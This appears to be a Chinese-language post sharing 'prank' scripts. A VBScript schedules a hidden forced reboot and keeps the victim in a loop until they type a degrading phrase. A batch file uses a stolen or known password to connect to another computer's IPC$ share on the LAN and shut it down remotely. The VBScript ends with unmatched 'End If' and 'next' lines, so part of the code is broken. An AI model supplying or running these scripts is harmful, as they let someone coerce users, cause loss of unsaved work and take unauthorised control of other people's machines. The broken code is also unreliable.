1. vbs整人的代碼。
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說「我是」，不說「我是XX」就一分鍾關你的機，不信，試試……"" ",0,true
dim a
do while(a <> "我是XX，大哥我真的是XX啊!")
a = inputbox ("說我是XX，就不關機，快說，說 ""我是XX，大哥我真的是XX啊!"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox "你終於承認了啊!感嘆中……",vbinformation,"真聽話啊!"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0,true
msgbox "哈哈，我也看你像XX~!",vbinformation,"同感啊~~!!"
End If
next
2. 整人的自動關機的程序
我有，正好也是在區域網內可用的。
開始——運行——cmd
net use \\對方IP\ipc$ "密碼" /user:"用戶名"
shutdown -s -m \\對方IP -t 00
或新建一個記事本，把下面的內存復制過去，保存成.bat（註：要知道對方IP和密碼及用戶）
@echo off
echo "開始關閉計算機 IP=對方IP"
net use \\對方IP\ipc$ "密碼" /user:"用戶"
shutdown -s -m \\對方IP
pause
@ Rem "please use 'shutdown -a' to abort the shutdown process
@ Rem shutdown 命令用法:
@ Rem shutdown [-i | -l | -s | -r | -a] [-f] [-m \\computername] [-t xx] [-c "comment"] [-d up:xx:yy]
@ Rem 沒有參數 顯示此消息(與 ? 相同)
@ Rem -i 顯示 GUI 界面，必須是第一個選項
@ Rem -l 注銷(不能與選項 -m 一起使用)
@ Rem -s 關閉此計算機
@ Rem -r 關閉並重啟動此計算機
@ Rem -a 放棄系統關機
@ Rem -m \\computername 遠程計算機關機/重啟動/放棄
@ Rem -t xx 設置關閉的超時為 xx 秒
@ Rem -c "comment" 關閉注釋(最大 127 個字元)
@ Rem -f 強制運行的應用程序關閉而沒有警告
@ Rem -d [u][p]:xx:yy 關閉原因代碼
@ Rem u 是用戶代碼
@ Rem p 是一個計劃的關閉代碼
@ Rem xx 是一個主要原因代碼(小於 256 的正整數)
@ Rem yy 是一個次要原因代碼(小於 65536 的正整數)